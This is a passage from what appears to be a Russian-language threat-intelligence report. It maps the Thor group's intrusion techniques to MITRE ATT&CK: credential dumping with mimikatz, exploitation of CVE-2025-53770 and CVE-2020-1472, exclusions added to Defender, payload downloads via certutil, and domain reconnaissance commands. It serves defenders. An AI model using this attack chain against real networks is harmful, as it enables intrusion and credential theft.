Valid Accounts: Domain Accounts |
Группировка Thor использовала доменные учетные записи для перемещения внутри сети и развития атаки |
T1078.003 |
Valid Accounts: Local Accounts |
Группировка Thor использовали созданную локальную учетную запись пользователя srv для подключения по протоколу RDP |
Defense Evasion | ||
T1078 |
Valid Accounts |
Группировка Thor выполняла Kerberos-аутентификацию по протоколу SSH и через корпоративный VPN с использованием скомпрометированных учетных данных для получения доступа к узлам внутренней сети |
T1562 |
Impair Defenses |
Группировка Thor загружала и запускала PowerShell-сценарии, предназначенные для добавления утилит Tactical RMM и MeshAgent в исключения EPP Windows Defender |
T1218 |
System Binary Proxy Execution |
Группировка Thor запускала нативную утилиту Windows setx.exe для установки переменных окружения и нативной утилиты для конфигурации Windows Server |
T1027 |
Obfuscated Files or Information |
Группировка Thor шифровала полезную нагрузку с помощью метода кодирования Base64 |
Credential Access | ||
T1003 |
OS Credential Dumping |
Группировка Thor использовала инструменты secretsdump и mimikatz для извлечения данных учетных записей |
T1552.004 |
Unsecured Credentials |
Группировка Thor получала значение SharePoint ASP.NET machineKey при эксплуатации уязвимости CVE-2025-53770 |
Discovery | ||
T1018 |
Remote System Discovery |
Группировка Thor тестировала сетевое соединение через команду Test-NetConnection для проверки доступности удаленных систем перед загрузкой реверс-шелла |
T1482 |
Domain Trust Discovery |
Группировка использовала утилиту ADRecon для разведки домена Active Directory, результаты записывались в файл C:/Users/srv/Desktop/ADRecon-Report-date.zip, который в последствии просматривался злоумышленником |
T1046 |
Network Service Discovery |
Группировка Thor собирала информацию о сервисах для последующей эксплуатации уязвимостей |
T1016 |
System Network Configuration Discovery |
Группировка Thor применяла инструмент ADRecon для сбора информации |
T1082 |
System Information Discovery |
Группировка Thor использовала команды systeminfo и whoami /priv для получения информации об узле, включая данные о системе, текущем пользователе и его привилегиях |
T1057 |
Process Discovery |
Группировка использовала команду tasklist и нативные утилиты Windows для получения перечня текущих процессов на скомпрометированном узле |
T1083 |
File and Directory Discovery |
Группировка Thor выполняла команду dir C:\users\public и type C:/users/public/res.txt для получения перечня содержимого папки C:\Users\Public и создания (чтения) файла res.txt |
T1482 |
Domain Trust Discovery |
Группировка Thor выполняла команды nltest /dclist для получения перечня доменных контроллеров и nltest /trusted_domains для получения перечня доверенных доменов |
T1087.002 |
Account Discovery: Domain Account |
Группировка Thor запускала нативную утилиту Windows quser для получения сведений о сеансах пользователей на сервере узла сеансов удаленных рабочих столов |
T1033 |
System Owner/User Discovery |
Группировка Thor выполнила команду whoami для определения текущего пользователя |
T1069 |
Permission Groups Discovery |
Группировка Thor запускала общедоступную утилиту ADRecon для проведения разведки домена Active Directory |
Lateral Movement | ||
T1021.001 |
Remote Services: Remote Desktop Protocol |
Группировка Thor использовала данные RDP-пользователей, в том числе ранее созданные для перемещения по сети |
T1021.002 |
Remote Services: SMB/Windows Admin Shares |
Группировка Thor пыталась использовать SMB-подключения для перемещения между узлами |
T1021.004 |
Remote Services: SSH |
Группировка Thor выполняла Kerberos-аутентификацию по протоколу SSH с использованием скомпрометированных учетных данных |
T1210 |
Exploitation of Remote Services |
Группировка Thor использовала уязвимость CVE-2020-1472 для дальнейшего перемещения по сети |
T1550.003 |
Use Alternate Authentication Material: Pass the Ticket |
Группировка Thor пыталась выполнить Kerberos-аутентификацию для подключения к узлам с использованием ранее скомпрометированной учетной записи пользователя |
Collection | ||
T1213.001 |
Data from Information Repositories: Confluence |
Группировка Thor собирала информацию из различных пространств системы Atlassian Confluence |
T1114 |
Email Collection |
Группировка Thor скомпрометировала данные электронных почт сотрудников и получила доступ к ряду почтовых ящиков, потенциально содержащих конфиденциальную информацию |
Command And Control | ||
T1219 |
Remote Access Tools |
Группировка Thor устанавливала Tactical RMM и MeshAgent для получения удаленного доступа и управления |
T1105 |
Ingress Tool Transfer |
Группировка Thor использовала certutil для загрузки различных PowerShell-скриптов, а также загружала такие утилиты, как GodPotato, Cobalt Strike и т. д. |
T1071.001 |
Application Layer Protocol: Web Protocols |
Группировка Thor использовала веб-протоколы для доставки полезных нагрузок и обмена данными |
Александр Бадаев, специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Климентий Галкин, специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Владислав Лунин, ведущий специалист группы исследования сложных угроз TI-департамента экспертного центра безопасности Positive Technologies